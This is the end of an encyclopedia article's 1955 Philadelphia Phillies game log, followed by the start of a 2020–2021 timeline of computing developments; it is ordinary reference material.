|- style="background:#fbb"
| 25 || May 10 || @ Cardinals || 3–5 (10) || Luis Arroyo (2–0) || Jack Meyer (1–4) || None || 4,693 || 9–16
|- style="background:#fbb"
| 26 || May 11 || @ Cardinals || 5–6 || Herb Moford (1–0) || Ron Mrozinski (0–2) || Barney Schultz (1) || 4,726 || 9–17
|- style="background:#bbb"
| – || May 12 || @ Redlegs || colspan=6 | Postponed (rain); Makeup: June 24 as a traditional double-header
|- style="background:#bbb"
| – || May 13 || @ Redlegs || colspan=6 | Postponed (rain, threatening weather, wet grounds); Makeup: August 2 as a traditional double-header
|- style="background:#fbb"
| 27 || May 14 || @ Braves || 4–5 || Ernie Johnson (1–1) || Jack Meyer (1–5) || None || 24,862 || 9–18
|- style="background:#fbb"
| 28 || May 15 (1) || @ Braves || 5–6 || Dave Jolly (1–2) || Thornton Kipper (0–1) || None || see 2nd game || 9–19
|- style="background:#bfb"
| 29 || May 15 (2) || @ Braves || 9–1 || Robin Roberts (4–3) || Chet Nichols (3–1) || None || 42,351 || 10–19
|- style="background:#bbb"
| – || May 17 || @ Cubs || colspan=6 | Postponed (cold); Makeup: May 18 as a traditional double-header
|- style="background:#fbb"
| 30 || May 18 (1) || @ Cubs || 2–3 || Sam Jones (5–3) || Curt Simmons (0–1) || Hal Jeffcoat (2) || see 2nd game || 10–20
|- style="background:#fbb"
| 31 || May 18 (2) || @ Cubs || 5–7 || Hal Jeffcoat (4–0) || Murry Dickson (2–2) || None || 9,329 || 10–21
|- style="background:#bfb"
| 32 || May 20 || @ Dodgers || 5–3 || Robin Roberts (5–3) || Billy Loes (4–2) || None || 21,355 || 11–21
|- style="background:#fbb"
| 33 || May 21 || @ Dodgers || 4–6 || Don Newcombe (6–0) || Dave Cole (0–1) || Ed Roebuck (4) || 13,401 || 11–22
|- style="background:#fbb"
| 34 || May 22 || @ Dodgers || 3–8 || Carl Erskine (6–1) || Jack Meyer (1–6) || Ed Roebuck (5) || 15,459 || 11–23
|- style="background:#bfb"
| 35 || May 24 || Giants || 6–2 || Curt Simmons (1–1) || Jim Hearn (6–3) || Jack Meyer (1) || 15,008 || 12–23
|- style="background:#bfb"
| 36 || May 25 (1) || Giants || 8–3 || Robin Roberts (6–3) || Windy McCall (1–1) || None || see 2nd game || 13–23
|- style="background:#bfb"
| 37 || May 25 (2) || Giants || 5–2 || Murry Dickson (3–2) || Johnny Antonelli (4–5) || Jack Meyer (2) || 27,420 || 14–23
|- style="background:#bfb"
| 38 || May 26 || Giants || 3–2 (11) || Bob Miller (2–0) || Hoyt Wilhelm (2–1) || None || 11,743 || 15–23
|- style="background:#bfb"
| 39 || May 27 || @ Pirates || 5–2 (10) || Herm Wehmeier (3–2) || Bob Friend (2–1) || None || 6,956 || 16–23
|- style="background:#bfb"
| 40 || May 28 || @ Pirates || 8–4 (11) || Bob Miller (3–0) || Roy Face (0–1) || Jack Meyer (3) || 3,082 || 17–23
|- style="background:#bfb"
| 41 || May 29 (1) || @ Pirates || 5–2 || Robin Roberts (7–3) || Laurin Pepper (0–1) || None || see 2nd game || 18–23
|- style="background:#fbb"
| 42 || May 29 (2) || @ Pirates || 5–11 || Max Surkont (4–5) || Dave Cole (0–2) || None || 5,918 || 18–24
|- style="background:#fbb"
| 43 || May 30 (1) || @ Giants || 5–6 || Marv Grissom (2–0) || Curt Simmons (1–2) || Windy McCall (1) || see 2nd game || 18–25
|- style="background:#bfb"
| 44 || May 30 (2) || @ Giants || 3–1 || Bob Kuzava (1–1) || Don Liddle (1–2) || Jack Meyer (4) || 20,044 || 19–25
|- style="background:#fbb"
| 45 || May 31 || @ Giants || 1–2 || Sal Maglie (6–3) || Herm Wehmeier (3–3) || None || 6,746 || 19–26
|-
|- style="background:#bfb"
| 46 || June 1 || Cubs || 3–1 || Robin Roberts (8–3) || Sam Jones (5–6) || None || 19,974 || 20–26
|- style="background:#bfb"
| 47 || June 2 || Cubs || 8–4 || Curt Simmons (2–2) || Warren Hacker (4–3) || Bob Miller (1) || 6,084 || 21–26
|- style="background:#fbb"
| 48 || June 3 || Braves || 3–4 (10) || Lew Burdette (3–4) || Murry Dickson (3–3) || None || 16,362 || 21–27
|- style="background:#fbb"
| 49 || June 4 || Braves || 3–11 || Warren Spahn (4–6) || Bob Miller (3–1) || None || 6,465 || 21–28
|- style="background:#fbb"
| 50 || June 5 (1) || Braves || 4–5 || Ernie Johnson (2–2) || Robin Roberts (8–4) || None || see 2nd game || 21–29
|- style="background:#bfb"
| 51 || June 5 (2) || Braves || 4–2 || Herm Wehmeier (4–3) || Gene Conley (7–3) || Jack Meyer (5) || 23,431 || 22–29
|- style="background:#fbb"
| 52 || June 6 || Braves || 2–5 || Bob Buhl (2–4) || Dave Cole (0–3) || None || 11,815 || 22–30
|- style="background:#fbb"
| 53 || June 7 || Cardinals || 4–5 || Harvey Haddix (3–8) || Murry Dickson (3–4) || Frank Smith (1) || 9,782 || 22–31
|- style="background:#bbb"
| – || June 8 || Cardinals || colspan=6 | Postponed (rain); Makeup: August 25 as a traditional double-header
|- style="background:#bfb"
| 54 || June 9 || Cardinals || 2–0 || Robin Roberts (9–4) || Larry Jackson (2–3) || None || 5,668 || 23–31
|- style="background:#bbb"
| – || June 11 || Redlegs || colspan=6 | Postponed (rain); Makeup: July 19 as a traditional double-header
|- style="background:#bfb"
| 55 || June 12 (1) || Redlegs || 12–8 || Curt Simmons (3–2) || Joe Nuxhall (5–4) || None || 13,067 || 24–31
|- style="background:#bbb"
| – || June 12 (2) || Redlegs || colspan=6 | Postponed (rain); Makeup: July 20 as a traditional double-header
|- style="background:#fbb"
| 56 || June 14 || @ Braves || 2–4 || Lew Burdette (4–4) || Robin Roberts (9–5) || None || 29,252 || 24–32
|- style="background:#bfb"
| 57 || June 15 || @ Braves || 4–0 || Herm Wehmeier (5–3) || Gene Conley (8–4) || None || 27,759 || 25–32
|- style="background:#bfb"
| 58 || June 16 || @ Braves || 3–0 || Murry Dickson (4–4) || Bob Buhl (3–5) || None || 17,978 || 26–32
|- style="background:#bfb"
| 59 || June 17 || @ Cubs || 3–2 || Curt Simmons (4–2) || Bob Rush (4–4) || None || 6,575 || 27–32
|- style="background:#fbb"
| 60 || June 18 || @ Cubs || 0–4 || Sam Jones (7–8) || Robin Roberts (9–6) || None || 16,543 || 27–33
|- style="background:#bfb"
| 61 || June 19 (1) || @ Cubs || 1–0 (15) || Jack Meyer (2–6) || Hal Jeffcoat (6–1) || None || see 2nd game || 28–33
|- style="background:#fbb"
| 62 || June 19 (2) || @ Cubs || 7–8 (7) || Howie Pollet (3–0) || Herm Wehmeier (5–4) || Warren Hacker (2) || 34,529 || 28–34
|- style="background:#fbb"
| 63 || June 20 || @ Cardinals || 1–4 || Luis Arroyo (8–2) || Murry Dickson (4–5) || None || 7,284 || 28–35
|- style="background:#bfb"
| 64 || June 21 || @ Cardinals || 10–8 || Murry Dickson (5–5) || Paul LaPalme (3–1) || Ron Mrozinski (1) || 7,717 || 29–35
|- style="background:#bfb"
| 65 || June 22 || @ Cardinals || 9–6 || Robin Roberts (10–6) || Bobby Tiefenauer (1–4) || None || 7,445 || 30–35
|- style="background:#fbb"
| 66 || June 23 || @ Cardinals || 1–7 || Floyd Wooldridge (1–1) || Herm Wehmeier (5–5) || None || 6,430 || 30–36
|- style="background:#bfb"
| 67 || June 24 (1) || @ Redlegs || 8–6 || Ron Negray (1–0) || Rudy Minarcin (4–3) || Jack Meyer (6) || see 2nd game || 31–36
|- style="background:#fbb"
| 68 || June 24 (2) || @ Redlegs || 0–6 || Joe Nuxhall (7–4) || Murry Dickson (5–6) || None || 18,326 || 31–37
|- style="background:#bbb"
| – || June 25 || @ Redlegs || colspan=6 | Postponed (rain); Makeup: August 1
|- style="background:#fbb"
| 69 || June 26 (1) || @ Redlegs || 5–16 || Jackie Collum (6–2) || Robin Roberts (10–7) || Hersh Freeman (3) || see 2nd game || 31–38
|- style="background:#fbb"
| 70 || June 26 (2) || @ Redlegs || 0–5 || Art Fowler (3–4) || Curt Simmons (4–3) || None || 16,897 || 31–39
|- style="background:#fbb"
| 71 || June 28 || Pirates || 5–7 (10) || Bob Friend (5–4) || Jack Meyer (2–7) || Roy Face (3) || 8,635 || 31–40
|- style="background:#bfb"
| 72 || June 29 || Pirates || 6–3 || Ron Negray (2–0) || Dick Littlefield (2–6) || None || 4,919 || 32–40
|-
|- style="background:#bfb"
| 73 || July 1 || Giants || 9–3 || Robin Roberts (11–7) || Johnny Antonelli (6–10) || None || 14,135 || 33–40
|- style="background:#fbb"
| 74 || July 2 || Giants || 1–6 || Sal Maglie (9–4) || Curt Simmons (4–4) || Don Liddle (1) || 6,542 || 33–41
|- style="background:#fbb"
| 75 || July 3 || Giants || 3–4 || Rubén Gómez (6–3) || Bob Miller (3–2) || None || 8,259 || 33–42
|- style="background:#fbb"
| 76 || July 4 (1) || Dodgers || 2–11 || Don Newcombe (14–1) || Ron Negray (2–1) || None || see 2nd game || 33–43
|- style="background:#fbb"
| 77 || July 4 (2) || Dodgers || 3–6 || Clem Labine (7–2) || Herm Wehmeier (5–6) || None || 33,707 || 33–44
|- style="background:#bfb"
| 78 || July 5 || Dodgers || 5–4 || Robin Roberts (12–7) || Karl Spooner (2–2) || Jack Meyer (7) || 21,041 || 34–44
|- style="background:#fbb"
| 79 || July 6 || @ Giants || 2–4 (6) || Ramón Monzant (1–4) || Curt Simmons (4–5) || None || 8,845 || 34–45
|- style="background:#fbb"
| 80 || July 7 || @ Giants || 5–8 || Windy McCall (3–3) || Jack Meyer (2–8) || Marv Grissom (7) || 5,130 || 34–46
|- style="background:#bfb"
| 81 || July 8 || @ Pirates || 5–1 || Herm Wehmeier (6–6) || Max Surkont (7–9) || None || 7,304 || 35–46
|- style="background:#bfb"
| 82 || July 9 || @ Pirates || 7–1 || Robin Roberts (13–7) || Dick Littlefield (2–7) || None || 2,637 || 36–46
|- style="background:#bfb"
| 83 || July 10 (1) || @ Pirates || 4–1 || Curt Simmons (5–5) || Bob Friend (5–5) || None || see 2nd game || 37–46
|- style="background:#fbb"
| 84 || July 10 (2) || @ Pirates || 1–3 || Vern Law (6–3) || Ron Negray (2–2) || None || 6,454 || 37–47
|- style="background:#bbcaff;"
| – || July 12 ||colspan="7" |1955 Major League Baseball All-Star Game at Milwaukee County Stadium in Milwaukee
|- style="background:#fbb"
| 85 || July 14 || Braves || 1–7 || Bob Buhl (7–7) || Herm Wehmeier (6–7) || None || 16,728 || 37–48
|- style="background:#bfb"
| 86 || July 15 || Braves || 1–0 || Murry Dickson (6–6) || Lew Burdette (7–5) || None || 11,794 || 38–48
|- style="background:#bfb"
| 87 || July 16 || Cubs || 39–48 || Robin Roberts (14–7) || Warren Hacker (9–7) || None || 5,241 || 39–48
|- style="background:#bfb"
| 88 || July 17 (1) || Cubs || 12–11 (10) || Jack Meyer (3–8) || Sam Jones (9–12) || None || see 2nd game || 40–48
|- style="background:#bfb"
| 89 || July 17 (2) || Cubs || 8–6 || Ron Negray (3–2) || Hal Jeffcoat (6–4) || Jack Meyer (8) || 8,513 || 41–48
|- style="background:#bfb"
| 90 || July 18 || Cubs || 2–1 || Herm Wehmeier (7–7) || Warren Hacker (9–8) || None || 8,192 || 42–48
|- style="background:#bfb"
| 91 || July 19 (1) || Redlegs || 7–3 || Murry Dickson (7–6) || Joe Nuxhall (9–7) || None || see 2nd game || 43–48
|- style="background:#bfb"
| 92 || July 19 (2) || Redlegs || 6–2 || Robin Roberts (15–7) || Jackie Collum (8–4) || None || 16,960 || 44–48
|- style="background:#bfb"
| 93 || July 20 (1) || Redlegs || 6–0 || Saul Rogovin (2–8) || Art Fowler (4–6) || None || see 2nd game || 45–48
|- style="background:#bfb"
| 94 || July 20 (2) || Redlegs || 4–2 || Curt Simmons (6–5) || Johnny Klippstein (1–6) || None || 15,607 || 46–48
|- style="background:#bfb"
| 95 || July 21 || Redlegs || 5–3 || Jack Meyer (4–8) || Gerry Staley (5–7) || None || 8,036 || 47–48
|- style="background:#bfb"
| 96 || July 22 (1) || Cardinals || 6–3 || Murry Dickson (8–6) || Floyd Wooldridge (2–3) || None || see 2nd game || 48–48
|- style="background:#fbb"
| 97 || July 22 (2) || Cardinals || 1–8 || Harvey Haddix (8–9) || Herm Wehmeier (7–8) || None || 27,611 || 48–49
|- style="background:#bfb"
| 98 || July 23 || Cardinals || 7–2 || Robin Roberts (16–7) || Willard Schmidt (1–1) || None || 5,596 || 49–49
|- style="background:#bfb"
| 99 || July 24 (1) || Cardinals || 6–5 || Curt Simmons (7–5) || Larry Jackson (5–7) || Jack Meyer (9) || see 2nd game || 50–49
|- style="background:#bfb"
| 100 || July 24 (2) || Cardinals || 3–0 (6) || Saul Rogovin (3–8) || Tom Poholsky (4–5) || None || 13,524 || 51–49
|- style="background:#fbb"
| 101 || July 26 || @ Braves || 3–6 || Warren Spahn (9–10) || Herm Wehmeier (7–9) || None || 29,534 || 51–50
|- style="background:#fbb"
| 102 || July 27 || @ Braves || 1–2 || Lew Burdette (8–5) || Robin Roberts (16–8) || Ernie Johnson (2) || 25,936 || 51–51
|- style="background:#fbb"
| 103 || July 28 || @ Braves || 2–4 || Bob Buhl (8–7) || Murry Dickson (8–7) || None || 22,335 || 51–52
|- style="background:#bfb"
| 104 || July 29 || @ Cubs || 6–4 || Jack Meyer (5–8) || Sam Jones (9–15) || Robin Roberts (2) || 4,271 || 52–52
|- style="background:#bfb"
| 105 || July 30 || @ Cubs || 3–0 || Bob Miller (4–2) || Jim Davis (5–6) || None || 8,405 || 53–52
|- style="background:#fbb"
| 106 || July 31 (1) || @ Cubs || 1–7 || Warren Hacker (10–9) || Robin Roberts (16–9) || None || see 2nd game || 53–53
|- style="background:#fbb"
| 107 || July 31 (2) || @ Cubs || 5–6 || Hal Jeffcoat (7–5) || Jack Meyer (5–9) || None || 14,469 || 53–54
|-
|- style="background:#fbb"
| 108 || August 1 || @ Redlegs || 3–4 || Art Fowler (6–7) || Murry Dickson (8–8) || Hersh Freeman (7) || 3,481 || 53–55
|- style="background:#fbb"
| 109 || August 2 (1) || @ Redlegs || 0–2 || Johnny Klippstein (3–6) || Ron Negray (3–3) || None || see 2nd game || 53–56
|- style="background:#fbb"
| 110 || August 2 (2) || @ Redlegs || 0–4 || Joe Nuxhall (11–8) || Saul Rogovin (3–9) || None || 10,611 || 53–57
|- style="background:#bfb"
| 111 || August 3 || @ Redlegs || 8–4 || Robin Roberts (17–9) || Jackie Collum (9–6) || None || 7,718 || 54–57
|- style="background:#fbb"
| 112 || August 4 || @ Redlegs || 3–4 || Rudy Minarcin (5–9) || Jack Meyer (5–10) || Joe Nuxhall (2) || 2,793 || 54–58
|- style="background:#bfb"
| 113 || August 5 || @ Cardinals || 7–4 || Bob Miller (5–2) || Larry Jackson (5–9) || Jack Meyer (10) || 8,455 || 55–58
|- style="background:#bfb"
| 114 || August 6 || @ Cardinals || 5–3 || Murry Dickson (9–8) || Harvey Haddix (9–11) || None || 9,414 || 56–58
|- style="background:#bfb"
| 115 || August 7 || @ Cardinals || 9–6 || Robin Roberts (18–9) || Mel Wright (1–1) || Jack Meyer (11) || 7,917 || 57–58
|- style="background:#bfb"
| 116 || August 9 || Pirates || 9–1 || Herm Wehmeier (8–9) || Dick Hall (3–2) || None || 9,347 || 58–58
|- style="background:#fbb"
| 117 || August 10 || Pirates || 2–3 (10) || Bob Friend (9–6) || Bob Miller (5–3) || None || 3,922 || 58–59
|- style="background:#bbb"
| – || August 12 || @ Dodgers || colspan=6 | Postponed (rain; Hurricane Connie); Makeup: August 14 as a traditional double-header
|- style="background:#bbb"
| – || August 13 || @ Dodgers || colspan=6 | Postponed (rain; Hurricane Connie); Makeup: September 20 as a traditional double-header
|- style="background:#bfb"
| 118 || August 14 (1) || @ Dodgers || 3–2 (10) || Robin Roberts (19–9) || Don Newcombe (18–3) || None || see 2nd game || 59–59
|- style="background:#fbb"
| 119 || August 14 (2) || @ Dodgers || 4–5 (13) || Karl Spooner (5–4) || Bob Miller (5–4) || None || 21,344 || 59–60
|- style="background:#bfb"
| 120 || August 16 || @ Pirates || 12–3 || Herm Wehmeier (9–9) || Bob Friend (9–7) || None || 6,290 || 60–60
|- style="background:#fbb"
| 121 || August 17 || @ Pirates || 4–6 || Roy Face (3–5) || Curt Simmons (7–6) || None || 3,721 || 60–61
|- style="background:#bfb"
| 122 || August 19 || Dodgers || 3–2 || Robin Roberts (20–9) || Don Newcombe (18–4) || None || 35,444 || 61–61
|- style="background:#bfb"
| 123 || August 20 || Dodgers || 3–2 || Bob Miller (6–4) || Johnny Podres (8–8) || Robin Roberts (3) || 25,390 || 62–61
|- style="background:#bfb"
| 124 || August 21 || Dodgers || 6–4 || Herm Wehmeier (10–9) || Carl Erskine (10–5) || Jack Meyer (12) || 17,492 || 63–61
|- style="background:#bfb"
| 125 || August 23 || Braves || 4–3 || Jack Meyer (6–10) || Lew Burdette (9–7) || None || 23,991 || 64–61
|- style="background:#bfb"
| 126 || August 25 (1) || Cardinals || 11–9 || Robin Roberts (21–9) || Paul LaPalme (4–3) || Jack Meyer (13) || see 2nd game || 65–61
|- style="background:#bfb"
| 127 || August 25 (2) || Cardinals || 8–3 || Saul Rogovin (4–9) || Harvey Haddix (11–13) || None || 38,545 || 66–61
|- style="background:#fbb"
| 128 || August 26 || Cardinals || 1–4 || Willard Schmidt (4–3) || Curt Simmons (7–7) || None || 11,387 || 66–62
|- style="background:#bfb"
| 129 || August 27 || Cardinals || 8–2 || Murry Dickson (10–8) || Luis Arroyo (11–8) || None || 6,822 || 67–62
|- style="background:#bfb"
| 130 || August 28 (1) || Redlegs || 7–6 || Bob Miller (7–4) || Joe Nuxhall (14–10) || Jack Meyer (14) || see 2nd game || 68–62
|- style="background:#bfb"
| 131 || August 28 (2) || Redlegs || 8–3 || Ron Negray (4–3) || Jackie Collum (9–8) || None || 19,067 || 69–62
|- style="background:#fbb"
| 132 || August 29 || Redlegs || 3–4 || Hersh Freeman (6–3) || Robin Roberts (21–10) || None || 17,134 || 69–63
|- style="background:#fbb"
| 133 || August 30 || Cubs || 1–3 || Sam Jones (12–17) || Saul Rogovin (4–10) || Hal Jeffcoat (6) || 9,790 || 69–64
|- style="background:#bfb"
| 134 || August 31 || Cubs || 13–2 || Murry Dickson (11–8) || Jim Davis (6–10) || None || 8,018 || 70–64
|-
|- style="background:#bfb"
| 135 || September 2 || Giants || 5–3 || Robin Roberts (22–10) || Windy McCall (5–5) || Jack Meyer (15) || 19,997 || 71–64
|- style="background:#fbb"
| 136 || September 3 || Giants || 2–3 || Ramón Monzant (3–7) || Herm Wehmeier (10–10) || None || 23,179 || 71–65
|- style="background:#fbb"
| 137 || September 4 || Giants || 4–7 || Hoyt Wilhelm (3–1) || Jack Meyer (6–11) || Marv Grissom (8) || 16,197 || 71–66
|- style="background:#fbb"
| 138 || September 5 (1) || @ Dodgers || 4–11 || Don Newcombe (20–4) || Murry Dickson (11–9) || None || see 2nd game || 71–67
|- style="background:#fbb"
| 139 || September 5 (2) || @ Dodgers || 2–8 || Carl Erskine (11–7) || Robin Roberts (22–11) || None || 33,451 || 71–68
|- style="background:#fbb"
| 140 || September 7 || @ Redlegs || 3–6 || Johnny Klippstein (7–9) || Curt Simmons (7–8) || None || 6,888 || 71–69
|- style="background:#bfb"
| 141 || September 8 || @ Redlegs || 6–4 || Bob Miller (8–4) || Don Gross (3–5) || None || 1,531 || 72–69
|- style="background:#fbb"
| 142 || September 9 || @ Cardinals || 2–11 || Willard Schmidt (5–5) || Murry Dickson (11–10) || None || 5,932 || 72–70
|- style="background:#fbb"
| 143 || September 10 || @ Cardinals || 3–4 (6) || Tom Poholsky (8–10) || Robin Roberts (22–12) || None || 4,471 || 72–71
|- style="background:#fbb"
| 144 || September 11 (1) || @ Braves || 4–5 || Ernie Johnson (5–6) || Herm Wehmeier (10–11) || None || see 2nd game || 72–72
|- style="background:#fbb"
| 145 || September 11 (2) || @ Braves || 1–9 || Humberto Robinson (3–0) || Saul Rogovin (4–11) || None || 26,426 || 72–73
|- style="background:#bfb"
| 146 || September 13 || @ Cubs || 10–0 || Murry Dickson (12–10) || Sam Jones (13–19) || None || 1,785 || 73–73
|- style="background:#bfb"
| 147 || September 16 || Pirates || 8–1 || Robin Roberts (23–12) || Max Surkont (7–13) || None || 10,023 || 74–73
|- style="background:#fbb"
| 148 || September 18 (1) || Pirates || 2–5 || Bob Friend (13–9) || Herm Wehmeier (10–12) || Roy Face (5) || see 2nd game || 74–74
|- style="background:#bfb"
| 149 || September 18 (2) || Pirates || 2–1 || Saul Rogovin (5–11) || Dick Hall (5–6) || None || 12,683 || 75–74
|- style="background:#fbb"
| 150 || September 20 (1) || @ Dodgers || 3–6 || Clem Labine (13–5) || Murry Dickson (12–11) || Don Bessent (3) || see 2nd game || 75–75
|- style="background:#fbb"
| 151 || September 20 (2) || @ Dodgers || 1–6 || Roger Craig (5–3) || Robin Roberts (23–13) || None || 8,763 || 75–76
|- style="background:#bfb"
| 152 || September 23 || @ Giants || 5–1 || Saul Rogovin (6–11) || Rubén Gómez (9–10) || None || 1,154 || 76–76
|- style="background:#bbb"
| – || September 24 || @ Giants || colspan=6 | Postponed (rain); Makeup: September 25 as a traditional double-header
|- style="background:#fbb"
| 153 || September 25 (1) || @ Giants || 2–5 || Pete Burnside (1–0) || Robin Roberts (23–14) || None || see 2nd game || 76–77
|- style="background:#bfb"
| 154 || September 25 (2) || @ Giants || 3–1 || Curt Simmons (8–8) || Jim Hearn (14–16) || Jack Meyer (16) || 6,848 || 77–77
|-
| style="text-align:left;" |
The second game on April 24 was suspended (Sunday curfew) in the bottom of the eighth inning with the score 2–0 and was completed June 28, 1955.
The second game on May 1 was suspended (Sunday curfew) in the bottom of the ninth inning with the score 2–4 and was completed May 2, 1955.
The second game on May 29 was suspended (Sunday curfew) in the bottom of the seventh inning with the score 3–8 and was completed July 8, 1955.
The second game on June 5 was suspended (Sunday curfew) in the bottom of the seventh inning with the score 4–0 and was completed June 6, 1955.
The second game on July 17 was suspended (Sunday curfew) in the bottom of the sixth inning with the score 4–5 and was completed July 18, 1955.
Roster
Player stats
Batting
Starters by position
Note: Pos = Position; G = Games played; AB = At bats; H = Hits; Avg. = Batting average; HR = Home runs; RBI = Runs batted in
Other batters
Note: G = Games played; AB = At bats; H = Hits; Avg. = Batting average; HR = Home runs; RBI = Runs batted in
Pitching
Starting pitchers
Note: G = Games pitched; IP = Innings pitched; W = Wins; L = Losses; ERA = Earned run average; SO = Strikeouts
Other pitchers
Note: G = Games pitched; IP = Innings pitched; W = Wins; L = Losses; ERA = Earned run average; SO = Strikeouts
Relief pitchers
Note: G = Games pitched; W = Wins; L = Losses; SV = Saves; ERA = Earned run average; SO = Strikeouts
Awards and honors All-Star Game'Del Ennis, starter, outfield
Robin Roberts, starter, pitcher
Stan Lopata, reserve
Farm system
References
External links
1955 Philadelphia Phillies season at Baseball Reference''
Philadelphia Phillies seasons
Philadelphia Phillies season
Philadelphia
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https://en.wikipedia.org/wiki/Timeline%20of%20computing%202020%E2%80%93present
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Timeline of computing 2020–present
|
2020
February 7
AMD releases the Ryzen Threadripper 3990X, the first 64 core CPU for consumer market based on the Zen 2 microarchitecture.
March 26
After one of the first and largest public volunteer distributed computing projects SETI@home announced its shutdown by March 31, 2020 and due to heightened interest as a result of to the COVID-19 pandemic, the distributed computing project Folding@home becomes the world's first system to reach one exaFLOPS. The system simulates protein folding, is used for medical research on COVID-19 and achieved a speed of approximately 2.43 x86 exaFLOPS by April 13, 2020 many times faster than the fastest supercomputer Summit.
April 20
Researchers demonstrate a diffusive memristor fabricated from protein nanowires of the bacterium Geobacter sulfurreducens which functions at substantially lower voltages than previously described ones and may allow the construction of artificial neurons which function at voltages of biological action potentials. The nanowires have a range of advantages over silicon nanowires and the memristors may be used to directly process biosensing signals, for neuromorphic computing and/or direct communication with biological neurons.
May 22
Australian computer scientists report achieving, thus far, the highest internet speed in the world from a single optical chip source over standard optical fiber, amounting to 44.2 Terabits per sec, or "downloading 1000 high definition movies in a split second".
May 27
A study shows that social networks can function poorly as pathways for inconvenient truths, that the interplay between communication and action during disasters may depend on the structure of social networks, that communication networks suppress necessary "evacuations" in test-scenarios because of false reassurances when compared to groups of isolated individuals and that larger networks with a smaller proportion of informed subjects can suffer more damage due to human-caused misinformation.
June
The Linux operating system's market share breaks the 3% desktop usage marker for the first time in June 2020, reaching 3.57% in July 2020.
July 6
[Novel protocol/standard] – The Versatile Video Coding standard (H.266) is finalised, designed to halve the bitrate of previous formats, reducing data volume and being especially useful for on-demand 8K streaming services.
August 28
Elon Musk reveals a model of the prototype brain–computer interface chip, implanted in pigs, that his company Neuralink has been working on.
September 3
Scientists report finding "176 Open Access journals that, through lack of comprehensive and open archives, vanished from the Web between 2000-2019, spanning all major research disciplines and geographic regions of the world" and that in 2019 only about a third of the 14,068 DOAJ-indexed journals ensured the long-term preservation of their content themselves, with many papers not getting archived by Web archiving initiatives such as the Internet Archive.
September 18
Media reports of what may be the first publicly confirmed case of a civilian fatality as a nearly direct consequence of a cyberattack, after ransomware disrupted a hospital in Germany.
September 25
[Novel application of computing / software] – Chemists describe, for the first time, possible chemical pathways from nonliving prebiotic chemicals to complex biochemicals that could give rise to living organisms, based on a new computer program named ALLCHEMY.
2021
[Meta/Policy/Philosophy] – Thomas Metzinger, a German philosopher of cognitive science and applied ethics, calls for a "global moratorium on synthetic phenomenology" which, "until 2050", precautionarily bans "all research that directly aims at or knowingly risks the emergence of artificial consciousness on post-biotic carrier systems" – and could be gradually refined. The paper does not describe mechanisms of global enforcement of such proposed regulations which do not consider biotic or semi-biotic systems and aims to limit suffering risks.
[Type of database] – A new global food emissions database indicates that the current food systems are responsible for one third of the global anthropogenic greenhouse gas emissions.
[Data usage] – In a static proprietary article that appeared in and was co-reviewed by a scientific journal, authenticated scientists analyze data from multiple public databases to create a regional representation of levels of deforestation induced by nations' recent, largely unmodulated, trade-, production- and consumption-patterns.
A study finds that carbon emissions from Bitcoin mining in China – where a majority of the proof-of-work algorithm that generates current economic value is computed, largely fueled by nonrenewable sources – have accelerated rapidly and would soon exceed total annual emissions of countries like Italy, interfering with climate change mitigation commitments.
Neuralink reveals a male macaque with chips embedded on each side of its brain, playing a mind-controlled version of Pong. While similar technology has been demonstrated for decades, and wireless implants have existed for years, some observers note that the organization increased the number of implanted electrodes that are read wirelessly.
Researchers publish the first in-depth study of Web browser tab interfaces. They found that many people struggle with tab overload and conducted surveys and interviews about people's tab use. Thereby they formalized pressures for closing tabs and for keeping tabs open. The authors then developed related UI design considerations which could enable better tools and changes to the code of Web browsers – like Firefox – that allow knowledge workers and other users to better manage their tabs.
Operation of the U.S. Colonial Pipeline is interrupted by a ransomware cyber attack.
A new record for the smallest single-chip system is achieved, occupying a total volume of less than 0.1 mm³.
Scientists demonstrate the first brain–computer interface that decodes neural signals for handwriting. The character output speed of a patient with a paralyzed hand was up to 90 characters per minute – more than double the previous record. Each letter is associated with a highly distinctive pattern of activity in the brain, making it relatively easy for the algorithm to distinguish them.
Archivists initiate a rescue mission to secure enduring access to humanity's largest public library of scientific articles, Sci-Hub, due to the site's increased legal troubles, using Web and BitTorrent technologies.
Google demonstrates a research project called LaMDA, an automatic language generation system designed to sustain a conversation with a person on any topic.
The most comprehensive 3D map of the human brain – of a millionth of a brain and requiring 1.4 petabytes of storage space – is published.
In the debate the cognitive impacts of smartphones and digital technology a group reports that, contrary to widespread belief, scientific evidence doesn't show that these technologies harm biological cognitive abilities and that they instead change predominant ways of cognition – such as a reduced need to remember facts or conduct mathematical calculations by pen and paper outside contemporary schools. However, some activities – like reading novels – that require long attention-spans and don't feature ongoing rewarding stimulation may become more challenging in general.
Researchers used a brain-computer interface to enable a man who was paralyzed since 2003 to produce comprehensible words and sentences by decoding signals from electrodes in the speech areas of his brain.
Japan achieves a new world record Internet speed: 319 Tbit/s over ~3000 km which, albeit not being the fastest speed overall, beats the previous record of 178 Tbit/s.
Scientists report that worldwide adolescent loneliness and depression increased substantially after 2012 and that loneliness in contemporary schools appears to be associated with smartphone access and Internet use.
DeepMind announces that its AlphaFold AI has predicted the structures of over 350,000 proteins, including 98.5% of the ~20,000 proteins in the human body. The 3D data along with their degrees of confidence for accuracy is made freely available with a new database, doubling the previous number of protein structures in the public domain.
Scientists publish the first complete neuron-level-resolution 3D map of a monkey brain which they scanned within 100 hours.
A researcher reports that solar superstorms would cause large-scale global months-long Internet outages. She describes potential mitigation measures and exceptions – such as user-powered mesh networks and related peer-to-peer applications – and the robustness of the current Internet infrastructure.
Scientists conclude that personal carbon allowances (PCAs) could be a component of climate change mitigation. They find that the economic recovery from COVID-19 and novel digital technology capacities open a window of opportunity for first implementations. PCAs would consist of – e.g. monetary – credit-feedbacks and decreasing default levels of per capita emissions concessions. The researchers find that recent advances in machine learning technology and "smarter home and transport options make it possible to easily track and manage a large share of individuals' emissions" and that feedback effective in engaging individuals to reduce their energy-related emissions and relevant new personalized apps could be designed. Issues may include privacy, evaluating emissions from individuals co-running multinational companies and the availability and prices of products and services.
Cerebras announces a new hardware and software platform that can support AI models of 120 trillion parameters, enabling neural networks greater than the equivalent number of human brain synapses.
Pathogen researchers report the development of machine learning models for genome-based early detection and prioritization of high-risk potential zoonotic viruses in animals prior to spillover to humans. They conclude that their tool could be used for virus surveillance for pandemic prevention via (i.a.) measures of "early investigation and outbreak preparedness" and would have been capable of predicting SARS-CoV-2 as a high-risk strain.
A loss of public IP routes to the Facebook DNS servers due to malfunctioning capacity-assessment code, routinely triggered after configuration changes of routers of the company's data centers, that resulted in stoppage of BGP routing information broadcasts causes the 2021 Facebook outage.
